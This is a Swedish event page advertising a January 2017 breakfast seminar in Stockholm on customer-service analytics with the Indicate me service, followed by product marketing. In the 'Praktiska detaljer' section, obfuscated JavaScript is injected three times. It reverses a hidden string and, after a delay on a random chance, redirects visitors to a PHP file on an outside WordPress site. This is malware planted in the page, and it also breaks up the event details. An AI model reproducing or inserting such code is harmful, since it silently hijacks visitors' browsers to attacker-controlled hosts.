Hitta förbättringsområden inom kundservice med några klick!

Frukostmöte den 27 januari, i Stockholm.

Vi vill gärna bjuda in dig till ett frukostmöte gällande hur ni kan hitta förbättringar inom kundservice. Vi börjar med en härlig frukostbuffé klockan 08:00 under kristallkronorna på IVA konferenscenter på Grev Turegatan 16 i Stockholm.

08.30 – 09.30
Hitta förbättringsområden inom kundservice med några klick!
Effektivitet och produktivitet är centralt inom kundservice för att optimera bemanningen och hålla nere svarstiderna. Samtidigt vill vi att kunderna ska bli nöjda med vår service och få sitt ärende löst. När vi ändå har kundkontakt vill vi gärna öka värdet för kunden också.

Hur mäter vi resultatet och hur påverkar aktiviteterna inom kundservice varandra och kunden? Vanliga frågeställningar är bland annat:
– Varför kontaktar kunderna oss egentligen?
– Hur reagerar kunderna på olika svarstider?
– Allokerar våra ledare tiden på rätt saker?
– Är det enkelt för kunderna att få sitt ärende löst?
– Finns det kunskapsbrister bland våra medarbetare, och i så fall var?
– Om vi ska optimera tiden, var ger det störst effekt och var börjar vi?

Kom och lyssna till hur outsourcingleverantören Releasy har hittat ett sätt att få svar på alla frågor, i realtid och samlat på ett ställe – i onlinetjänsten Indicate me. Indicate me har möjliggjort att Releasys teamledare kan ta viktiga och underbyggda beslut och tid kan ägnas åt coachning i stället för att leta efter siffror.

Talare: Lina Bjelkmar, VD för Indicate me och Johan Frodell, VD för Releasy

Praktiska detaljer

$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;”>Datum
27 januari 2017
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;”>Plats IVA konferenscenter Grev Turegatan 16 i Stockholm
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;”>Anmälan till

Samla information

Den som vet mest vinner! Med Indicate me hjälper vi dig att samla värdefull information, mäta och analysera din kundtjänst så du med djupare insikt kan göra de förbättringar som krävs. Vi har sett företag öka sin produktivitet med över 50 procent det första året och du kan bli en av dem.

Nöjda kunder?

Det finns ett svar på den viktigaste frågan. Hur nöjda är dina kunder? De har självklart höga förväntningarna på ditt företag och måste mötas med stor kompetens och skicklighet. Då är det viktigare än någonsin att du förstår dina besökare och Indicate me kan genom löpande kundundersökningar ge dig alla de nyckeltal du behöver för att lyckas. Med den kunskap vi erbjuder kan du med stort självförtroende inleda ett förändringsarbete med målet att göra dina kunder ännu nöjdare.

Din hjälp

Våra kompetenta medarbetare hjälper dig att snabbt komma igång med Indicate me. Oavsett om det krävs teknisk eller strategisk hjälp har vi fler olika experter som tar hand om just dina unika behov. Det vanligaste är att du under uppstartsfasen får hjälp med implementering av Indicate me men vi är även tillgängliga under resans gång om du behöver assistans.

Mervärden

Med ett ökat försäljningsansvar hos agenterna kommer krav på utbildning, uppföljning och coaching. Indicate me erbjuder ett mycket bra systemstöd med tydliga rapporter som förenklar det interna uppföljningsarbetet betydligt. Konvertering och erbjudanden blir med vår hjälp en naturlig del av kundtjänstarbetet.

En vinstmaskin!

Merförsäljning är grädden på moset. Med Indicate me analyserar du alla flöden i din kundtjänst och ser snabbt vilka förändringar som behövs för att öka din merförsäljning. Vi vill att din kundtjänst ska bli en riktig vinstmaskin. Det är också viktigt att få kontroll över sina kostnader och här kan Indicate me vara till stor hjälp. Med små förändringar kan du minska de onödiga samtalen och därmed få tid över för samtal där merförsäljning har större fokus. Kort sagt så kan vi hjälpa dig att öka din vinst och sänka dina kostnader!

Glädje

Glada medarbetare är det härligaste som finns. När människor känner att de gör skillnad och upplever sin egen arbetsinsats som värdefull så ökar produktiviteten och glädjen. Indicate me hjälper den anställde att bli en bättre och effektivare agent som inte lägger tid på fel saker. Det är en win-win som både företaget och den anställde har stor glädje av.

Framgång

En framgångsrik kundservice betyder glada kunder, ökad försäljning och agenter som trivs på jobbet. Indicate me är onlinetjänster för dig som siktar mot stjärnorna och vill bli bättre än alla andra. Både du och jag vet att framgång inte kommer lätt! Men med vår hjälp får du tillgång till ett verktyg som hjälper dig att ge liv åt den framgång du förtjänar.